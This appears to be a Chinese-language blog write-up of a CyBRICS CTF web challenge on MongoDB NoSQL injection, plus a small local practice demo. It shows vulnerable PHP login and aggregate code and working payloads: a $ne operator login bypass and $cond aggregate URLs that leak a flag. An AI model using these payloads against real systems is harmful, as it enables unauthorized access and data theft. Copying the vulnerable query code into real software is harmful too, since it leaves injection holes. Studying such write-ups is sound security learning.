Raye's Journey

noSQL Injection

cybrics noSQL

这道题是cybrics的一道web题,由于是第一次接触noSQL注入,所以单独拿出来好好研究一下

php操作mongodb的语法:

// connect to mongodb
$m = new MongoClient();
// select a database
$db = $m->test;
// select collection
$collection = $db->users;

$cursor = $collection->find($data);
$cursor = $collection->findone($data);

基本上就是实例化对象,选择数据库,选择表,然后开始查找

查询语法主要如下:

db.user.find({'username': 'xxxppp'})

//查找用户名不为admin且password为123456的用户
db.user.find({'username':{$ne:'admin'}, 'password':'123456'})

//正则匹配:

db.customer.find({'name': {'$regex':'.*s.*'} })
db.user.find({'username':/jrx/i})

这道题目首先可以用dirsearch发现是git源码泄露,之后用GitHacker.py获取到源码

查看index.php,首先要登陆,需要绕过auth函数

function auth($username, $password) {
    $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
    $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
    $document = $collection->findOne(json_decode($raw_query));
    if (isset($document) && isset($document->password)) {
        return true;
    }
    return false;
}

username和password都没有经过过滤就拼接了,但是这里有一个json_decode不太好过

如果没有json_decode函数,我们可以通过{"username":"admin","password":{"$ne":"1"}}绕过登陆的限制

于是这样做:

这样就绕过限制登陆了

来看第二个:

<?php
    $filter = $_GET['filter'];

    $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

    $pipeline = [
        ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
        ['$sort' => ['count' => -1]],
        ['$limit' => 5],
    ];

    $filters = [
        ['$project' => ['category' => $filter]]
    ];

    $cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>

array_merge函数将$pipeline和filters进行合并

查找资料得知

在mongodb的aggregate中,可以使用$cond进行条件语句:

并且:

我们可以构造如下链接,匹配到flag时将其移除

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$$REMOVE&filter[$cond][else]=$category

利用条件语句,发现flags时,就输出其title:

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category

从title中我们得知有text,那么读取:

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$text&filter[$cond][else]=$category

就可以获得flag了

NoSQL注入实践

MongoDb作为一个NoSQL的数据库,操作其实还是很SQL很相似的

都有数据库,不同的是集合对应于表,文档对应于行,字段对应于列

这张图显示了映射关系:

于是操作MongoDb时可以理解为选择数据库,然后选择collection,然后构造查询语句进行查询

比如demo.html

$m = new MongoClient()连接数据库,$db=$m->test选择test数据库,然后选择collection : $collection=$db->uses

构造的查询语句为:

$data = array(
		'username' =>  $_REQUEST['username'],
		'password' =>  $_REQUEST['password']
		
);

之后进行查询: $cursor = $collection->find($data)

这里没有字符串的拼接,似乎无法注入,但是如果我们传入的username和password都是数组的话,那么查询的语句就会成为这样:

构造的URL:http://localhost/NoSQLI/login/login.php?username[$ne]=1&password[$ne]=1&login-submit=login

此时拼接的$data

json_encode后得到:
"{"username":{"$ne":"1"},"password":{"$ne":"1"}}"

参考

NoSQL注入总结(MongoDB)

019 CyBRICS CTF Quals wp


>  cd ..